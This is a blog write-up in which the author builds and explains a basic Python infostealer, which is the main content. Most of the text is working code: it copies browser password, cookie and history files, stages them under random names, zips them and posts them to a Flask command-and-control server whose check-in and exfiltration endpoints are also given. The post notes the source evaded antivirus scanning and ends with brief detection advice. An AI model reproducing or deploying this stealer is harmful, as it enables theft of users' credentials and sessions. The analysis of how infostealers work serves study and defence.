Building the Info Stealer

After hearing about redline, and other info stealers, I became curious about infostealers, how they work, and the process of extracting and utilizing compromised cookies. In the interest of learning, I developed a very basic info stealer, written in python, expected to be compiled and launched, to communicate with a C2 server of your choosing:

https://github.com/Isugg/VBIS

This is in no way comprehensive, and I’ll get to more practical options, and barriers I found in lessons learned.

To start, I began researching sensitive files targeted by info stealers. In my lab, I downloaded Opera, Brave, Chrome, and FireFox. Opera, Brave, Edge, and of course Chrome, are so-called chromium based browsers. Chromium is the open source browser project maintained by Google, and the source code is available here although, static analysis is beyond the scope for our use case. For now, it’s good to understand these browsers will all contain the similar directory path:
C:\Users{username}\AppData\{Local or Roaming}\{BrowserName}\

with files related to cookies, login data, and history in the “Default” directory. I decided to start by ensuring I could open these files, and read them as hex into a string. The plan is to eventually exfiltrate the data over http. Lets take a look at opening one of the sensitive files for Chrome:

with open(rf"C:\Users\{username}\AppData\Local\Google\Chrome\User Data\Default\Login Data", "rb") as pswds:
            pswd_hex = pswds.read().hex()

This code will open the file “Login Data,” containing encrypted Chrome passwords, and read the bytes as hex to a Python string. Some key points, the target string is rf”…” and contains a username variable I’ll address later. The rf means a raw formatted string, raw meaning interpret the ‘\’ and ‘ ‘ characters literally, and format to utilize the {username} variable. Since this will be different on every victim, I’ll gather the username with username = os.getenv('USERNAME') which will also come in handy for later exfiltration.

Continuing this logic, I built functions targeting Steam files, Discord files, FireFox files, and all Chromium browsers.

Using the same way I got the username environment variable, I get the Temporary folder environment variable. This will be useful for staging the data before exfiltration, and is important in the next step of our POC. After I know I can read out sensitive files, and write the raw hex data to other files, effectively creating hex dumps, I will then stage the data in the temporary folder before exfiltrating over HTTP. In order to reduce suspicion, I will generate the names randomly. This will also be used throughout for other random naming.

def generate_file_name(length=6):
    random.seed(time.time())
    random_string = ''.join(random.choices(string.ascii_lowercase, k=length))
    
    return random_string

Because the chromium browsers use the same file structure, I’ll create one function for gathering chromium info, and prepare the data for staging utilizing the prior functions. It will look something like this:

def get_chromium_info(browser_path, target_path):

    try:
        with open(rf"{browser_path}\Default\Login Data", "rb") as pswds:
            pswd_hex = pswds.read().hex()
            with open(f"{target_path}/"+generate_file_name(), "a") as output:
                output.write(pswd_hex)
    except:
        pass

    try:
        with open(rf"{browser_path}\Default\Network\Cookies", "rb") as cookies:
            cookies_hex = cookies.read().hex()
            with open(f"{target_path}/"+generate_file_name(), "a") as output:
                output.write(cookies_hex)    
    except:
        pass

    try:
        with open(rf"{browser_path}\Default\Network\Trust Tokens", "rb") as trust_tokens:
            trust_tokens_hex = trust_tokens.read().hex()
            with open(f"{target_path}/"+generate_file_name(), "a") as output:
                output.write(trust_tokens_hex)    
    except:
        pass
    
    try:
        with open(rf"{browser_path}\Default\History", "rb") as history:
            history_hex = history.read().hex()
            with open(f"{target_path}/"+generate_file_name(), "a") as output:
                output.write(history_hex)
    except:
        pass

    try:
        with open(rf"{browser_path}\Default\Web Data", "rb") as webdata:
            webdata_hex = webdata.read().hex()
            with open(f"{target_path}/"+generate_file_name(), "a") as output:
                output.write(webdata_hex)
    except:
        pass

    try:
        with open(rf"{browser_path}\Default\Top Sites", "rb") as top_sites:
            top_sites_hex = top_sites.read().hex()
            with open(f"{target_path}/"+generate_file_name(), "a") as output:
                output.write(top_sites_hex)
    except:
        pass

    try:
        with open(rf"{browser_path}\Default\Bookmarks", "rb") as bookmarks:
            bookmarks_hex = bookmarks.read().hex()
            with open(f"{target_path}/"+generate_file_name(), "a") as output:
                output.write(bookmarks_hex)
    except:
        pass

    try:
        with open(rf"{browser_path}\Default\Visited Links", "rb") as visited_links:
            visited_links_hex = visited_links.read().hex()
            with open(f"{target_path}/"+generate_file_name(), "a") as output:
                output.write(visited_links_hex)
    except:
        pass

As you can see, this iterates through sensitive files, and writes them to a temporary folder. I’ll call this in the main function as well as some other functions written to exfiltrate steam and discord files. The file locations will be discussed in lessons learned as well. Once these functions are called in the main loop, the sensitive data is staged. The project is open source, and adding further functionality is as simple as adding the files you want to be staged in your own functions, and calling them in the main loop.

Now that the data is staged, I need some way of exfiltration. Python ransomware builders like RaaSnet use Python socks for C2, which may be a more practical way of communicating. Although, as I will later discuss, I think utilizing python altogether for malware development leaves much to be desired. Popular infostealers like Red Line utilize https to communicate with C2 servers to check in and exfiltrate data, and others may use DNS or even popular mass online storage solutions like MEGA. I decided to run an API listening for http traffic for checking in and exfiltration. To begin, I wrote the C2 server through FLASK. The first thing the machines should do is check in with the C2 server, to do that, I’ll create a new endpoint at “/new_machine” with the following code:

@app.post("/new_machine")
def new_machine():
    data = request.get_json()
    
    output_string = (
    f"\nUsername:\t{data['user']}\n"
    f"Hostname:\t{data['host']}\n"
    f"ID:\t\t{data['id']}\n"
    f"IP:\t\t{data['ip']}\n"
    f"Country:\t{data['country']}\n"
    f"Region:\t\t{data['region']}\n"
    f"Provider:\t{data['provider']}\n"
    )
    
    print(output_string)

    return {"Created":True}, 201

This will output to the console some key information from the victim machines. After checking in, the machine should begin to exfiltrate. I’ll make an ‘/exfil’ endpoint with the following code:

@app.post("/exfil")
def exfil():
    data=request.get_json()
    id = data["id"]
    with open(f"./temp/{id}.zip", "ab") as output:
        output.write(bytes.fromhex(data["payload"]))
        return {"created":True}, 200

Now, the sensitive data can be sent back, with a UUID matching that of the UUID used to check in. The data will then be sent to a temporary folder with the UUID as the name of the sensitive information folder, on the server.

Going back to the payload, I’ll write the function for exfiltrating the data and call it last. This function will compress everything, and attach it as a hex dump to the payload of the http POST request to the C2Server variable. This variable could be something like “http://10.0.0.119” as it was in my case, for my kali box, or DNS name of any anonymous provider, such as Namecheap and cloud computing through something like digital ocean.

def exfil(c2server, staging_file, id):
    output_filename = os.getenv("TEMP")+"\\"+generate_file_name(1)
    shutil.make_archive(output_filename, 'zip', staging_file)
    shutil.rmtree(staging_file)

    with open(output_filename+".zip", "rb") as payload:
        data = {"id":id,"payload":payload.read().hex()}
        requests.post(c2server+"/exfil", json=data)
    os.remove(output_filename+".zip")

And with that, the explanation of the code is done. Obviously, this wasn’t every line, but each line is available on my github, and is fairly self explanatory. That is of course, because this is written in python.

Python Malware Builders

Python is a very easy to use language, and makes writing code very easy. With things like PyInstaller, they can even be compiled down to Portable Executables. However, even these compiled PEs require Python to be installed, and even require the same dependencies download. Unlike other weakly, and dynamically typed, languages like JavaScript, python can not be executed with something like wscript that would run natively on Windows. During my testing, the compiled .exe was still reliant on python DLLs.

Additionally, each payload appears to need to be manually compiled on each machine. Meaning, I could not upload this compiled payload and make stagers or other requests to get the final payload for Windows 10 systems. As an attacker, I would need to install Python, get my malicious python builder, compile, and detonate this malware, significantly reducing the threat. Perhaps this is why VirusTotal has seemingly no problem with the python, FUD, however the compiled payload lights up the board.

Jokes aside, the results seem due to most of the tools relying on heuristics, and not being able to run the python. It is ironic seeing a big green check next to a clear description of malware.

All this to say, it seems the point of these python builders are to replicate real builders on the market, and don’t seem very practical. This does not stop prospective threat actors from building their own. Next we’ll take a look at another open source info stealer, as well as some information on Red Line, the most popular infostealer on the market.

Other Info Stealers!

Similar to mine, there exists the Prysmax stealer, a build-your-own infostealer targeting Telegram data, crypto wallets, steam data, and browser info. This builder also utilizes PyInstaller however, it exfiltrates data via Discord. The author claims research purposes, however, it is advertised very similarly as malicious darkweb malware as a service and the author offers other dubious services.

This author claims a premium FUD version, and although our code is similar, perhaps I am missing some compilation options or other evasion detection missing from the open source version.

During researching, I looked deeply into Red Line, which is a quite comprehensive info stealer. It allows for IP and country blocking, the ability to run files or commands after exfiltration, Telegram API keys for channels to dump data to. It tracks data exfiltrated, a support channel, and more.

The first and most obvious difference, is that Red Line comes as a series of files, mostly .NET binaries. This means it was written in C#, which makes sense for the operating system targeted. It also likely heavily relies on direct calls into the Windows API. This seems like a much more practical and stable approach.

Lessons Learned

By writing and experimenting with infostealers, I learned which files were often targeted, and why. Mainly “C:\Users{username}\AppData\Local\{browser_specific_info}\Default” followed by:

  • Login Data
  • Network\Cookies
  • Network\Trust Tokens
  • History
  • Web Data
  • Top Sites
  • Bookmarks
  • Visited Links

These files should be adequately protected with detective controls such as EDRs and HIDS/IPS to monitor for repeated file reads for these files in a short period of time. Potentially, followed by network events to DGA domains, or encrypted/compressed file writes.

Additionally, I learned about python’s single threaded nature when running a C2 server, and the impracticality of python for malware development. I would recommend, and may further experiment with JavaScript or C#. Lastly, VirusTotal’s scanning and fallibility were revealed when uploading my python code, and exploring other potentially FUD solutions.